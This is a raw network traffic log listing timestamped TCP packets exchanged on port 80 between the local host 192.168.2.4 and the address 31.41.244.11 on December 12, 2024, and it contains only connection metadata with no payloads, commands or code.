Dec 12, 2024 14:26:36.687408924 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:36.747239113 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.747260094 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.747417927 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:36.749764919 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.749809027 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.749860048 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:36.749914885 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:36.758048058 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.758091927 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.758121014 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:36.758271933 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:36.766334057 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.766422987 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:36.766500950 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.766571999 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:36.774871111 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.774971962 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:36.774982929 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.775033951 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:36.783170938 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.783214092 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.783266068 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:36.783286095 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:36.791541100 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.791625023 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.791651011 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:36.791661978 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:36.799885035 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.799972057 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:36.800004005 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.800137997 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:36.808336973 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.808420897 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:36.808506966 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.808557034 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:36.816720009 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.816797972 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.816862106 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:36.816862106 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:36.824723005 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.824815035 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:36.824846029 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.824897051 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:36.832374096 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.832443953 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.832463026 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:36.832501888 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:36.840202093 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.840302944 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.024211884 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.024233103 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.024286985 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.024286985 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.033026934 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.033041000 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.033098936 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.033098936 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.152950048 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.153199911 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.263742924 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.263778925 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.263792038 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.263809919 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.263834000 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.263847113 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.263853073 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.263868093 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.263875961 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.263880968 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.263892889 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.263904095 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.263916016 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.263936996 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.263937950 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.263962984 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.264151096 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.264195919 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.264319897 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.264331102 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.264343977 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.264355898 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.264368057 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.264379978 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.264379978 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.264379978 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.264415026 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.264508009 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.265079021 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.265093088 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.265110016 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.265122890 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.265129089 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.265161037 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.265168905 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.265168905 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.265172958 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.265207052 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.265218019 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.265230894 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.265245914 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.265266895 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.265266895 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.265969992 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.265983105 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.266021013 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.266045094 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.266092062 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.266104937 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.266151905 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.266151905 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.271624088 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.271636963 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.271682978 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.271725893 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.271744013 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.271756887 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.271785975 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.271845102 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.272505999 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.272531986 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.272561073 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.272579908 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.272608995 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.272617102 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.272617102 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.272620916 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.272650003 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.273416996 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.273433924 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.273468018 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.273478985 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.273479939 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.273489952 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.273492098 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.273504972 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.273504972 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.273530960 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.273570061 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.273570061 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.274300098 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.274322033 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.274342060 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.274348974 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.274360895 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.274373055 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.274374008 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.274389029 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.274405956 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.274405956 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.274419069 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.274550915 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.275280952 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.275294065 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.275331020 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.275342941 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.326699972 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.326764107 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.383872032 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.383929014 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.384006977 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.385700941 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.385898113 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.385936022 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.385946035 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.386084080 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.390067101 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.390110970 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.390149117 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.390186071 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.394457102 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.394510031 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.394522905 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.394562006 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.398776054 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.398824930 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.398883104 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.399336100 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.403189898 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.403238058 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.403259993 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.403331995 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.406210899 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.406259060 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.406260014 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.406331062 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.409377098 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.409390926 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.409449100 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.409449100 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.412594080 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.412679911 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.412695885 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.412821054 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.415864944 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.415909052 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.415968895 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.416013956 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.419117928 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.419166088 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.419267893 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.419347048 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.422372103 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.422415018 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.422513008 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.423036098 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.425683975 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.425735950 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.425767899 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.425833941 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.428844929 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.428884983 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.428920984 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.428921938 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.432101011 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.432176113 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.432187080 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.432224989 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.435869932 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.435939074 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.435992956 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.436269999 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.438647032 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.438802958 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.438847065 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.438847065 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.441860914 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.441973925 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.441991091 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.442152977 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.445149899 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.445225000 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.445254087 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.445693016 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.450031996 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.450100899 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.450591087 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.451188087 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.453947067 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.454016924 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.454049110 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.454366922 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.457010031 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.457072020 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.457077980 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.457561970 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.460099936 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.460170984 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.460215092 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.460257053 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.463160038 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.463243961 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.463393927 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.463438988 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.466691971 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.466759920 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.466761112 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.468295097 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.469238997 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.469347954 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.469386101 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.469386101 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.472496033 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.472696066 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.472729921 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.472729921 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.475513935 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.475553036 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.475598097 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.475598097 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.478168011 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.478192091 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.478251934 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.478251934 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.480957031 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.481028080 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.481079102 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.481312037 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.484198093 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.484253883 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.484297991 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.484297991 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.487632036 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.487704039 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.487719059 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.487799883 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.490716934 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.490784883 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.490808010 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.490943909 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.494036913 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.494108915 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.494163036 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.494210958 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.497268915 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.497327089 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.497364998 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.497406960 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.500511885 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.500632048 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.500674009 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.500942945 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.503671885 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.503777027 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.503861904 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.504020929 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.507215977 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.507333994 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.507394075 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.507447958 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.510299921 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.510396957 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.510409117 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.510462999 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.513619900 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.513688087 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.513763905 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.513896942 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.517069101 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.517163992 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.517169952 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.517221928 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.520040035 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.520061970 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.520092010 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.520119905 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.523200989 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.523267031 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.523271084 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.523356915 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.526515007 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.526587963 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.526597023 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.526752949 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.529825926 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.529902935 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.529906034 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.529963017 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:37.533030987 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:37.533071041 CET	80	49837	31.41.244.11	192.168.2.4
